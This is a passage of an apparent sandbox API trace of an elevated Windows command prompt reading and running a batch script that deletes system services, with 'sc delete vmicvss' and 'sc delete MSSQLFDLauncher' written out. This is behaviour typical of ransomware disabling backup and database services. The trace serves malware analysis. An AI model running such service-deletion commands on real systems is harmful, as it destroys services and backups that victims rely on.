lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.793] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0073.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.793] GetFileType (hFile=0xb8) returned 0x3 [0073.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.793] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.794] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicvss\nsync\n\nface\n") returned 1 [0073.794] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.794] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.794] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicvss\nsync\n\nface\n") returned 1 [0073.794] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.794] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.794] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicvss\nsync\n\nface\n") returned 1 [0073.794] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.794] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.794] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete vmicvss\nsync\n\nface\n") returned 1 [0073.794] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.794] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.794] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete vmicvss\nsync\n\nface\n") returned 1 [0073.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.795] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.795] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicvss\nsync\n\nface\n") returned 1 [0073.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.795] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.795] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicvss\nsync\n\nface\n") returned 1 [0073.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.795] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.795] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te vmicvss\nsync\n\nface\n") returned 1 [0073.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.795] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.795] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e vmicvss\nsync\n\nface\n") returned 1 [0073.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.795] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" vmicvss\nsync\n\nface\n") returned 1 [0073.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.796] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="Mmicvss\nsync\n\nface\n") returned 1 [0073.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.796] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="Sicvss\nsync\n\nface\n") returned 1 [0073.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.796] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="Scvss\nsync\n\nface\n") returned 1 [0073.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.796] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="Qvss\nsync\n\nface\n") returned 1 [0073.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.796] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="Lss\nsync\n\nface\n") returned 1 [0073.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.797] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="Fs\nsync\n\nface\n") returned 1 [0073.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.797] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="D\nsync\n\nface\n") returned 1 [0073.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.797] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="Lsync\n\nface\n") returned 1 [0073.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.797] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="aync\n\nface\n") returned 1 [0073.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.797] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="unc\n\nface\n") returned 1 [0073.798] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.798] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.798] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="nc\n\nface\n") returned 1 [0073.798] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.798] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.798] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="c\n\nface\n") returned 1 [0073.798] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.798] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.798] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="h\nface\n") returned 1 [0073.798] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.798] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.798] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="eface\n") returned 1 [0073.798] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.798] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.799] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="race\n") returned 1 [0073.799] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.799] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.799] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="\nce\n") returned 1 [0073.799] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.799] GetFileType (hFile=0xb8) returned 0x3 [0073.799] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.799] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.799] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.799] GetFileType (hFile=0x120) returned 0x3 [0073.799] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLFDLauncher\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLFDLauncher\n", lpUsedDefaultChar=0x0) returned 27 [0073.799] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x1a, lpOverlapped=0x0) returned 1 [0073.799] GetProcessHeap () returned 0x240000 [0073.799] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x262630 [0073.799] GetProcessHeap () returned 0x240000 [0073.799] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x262630 | out: hHeap=0x240000) returned 1 [0073.800] GetProcessHeap () returned 0x240000 [0073.800] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0073.800] GetProcessHeap () returned 0x240000 [0073.800] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0073.800] GetProcessHeap () returned 0x240000 [0073.800] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x25aa40 [0073.801] GetConsoleOutputCP () returned 0x1b5 [0073.801] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0073.801] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.801] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.801] GetProcessHeap () returned 0x240000 [0073.801] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0073.801] GetProcessHeap () returned 0x240000 [0073.801] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x46) returned 0x25aa90 [0073.801] GetProcessHeap () returned 0x240000 [0073.801] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0073.802] SetErrorMode (uMode=0x0) returned 0x1 [0073.802] SetErrorMode (uMode=0x1) returned 0x0 [0073.802] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0073.802] SetErrorMode (uMode=0x1) returned 0x1 [0073.802] GetProcessHeap () returned 0x240000 [0073.802] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0073.802] GetProcessHeap () returned 0x240000 [0073.802] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0073.802] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.802] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.802] GetProcessHeap () returned 0x240000 [0073.802] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0073.802] GetProcessHeap () returned 0x240000 [0073.802] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0073.802] GetProcessHeap () returned 0x240000 [0073.802] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0073.802] GetProcessHeap () returned 0x240000 [0073.802] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0073.802] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.802] GetProcessHeap () returned 0x240000 [0073.802] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0073.803] GetProcessHeap () returned 0x240000 [0073.803] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0073.803] GetProcessHeap () returned 0x240000 [0073.803] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0073.803] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.803] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.803] GetLastError () returned 0x2 [0073.803] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.803] GetLastError () returned 0x2 [0073.803] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.804] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0073.804] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0073.804] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.804] GetLastError () returned 0x2 [0073.804] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0073.804] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0073.804] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0073.804] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0073.804] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.805] GetProcessHeap () returned 0x240000 [0073.805] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0073.805] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.805] GetProcessHeap () returned 0x240000 [0073.805] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xac) returned 0x259180 [0073.805] GetProcessHeap () returned 0x240000 [0073.805] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xac [0073.805] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLFDLauncher") returned 1 [0073.806] GetProcessHeap () returned 0x240000 [0073.806] HeapFree (in: 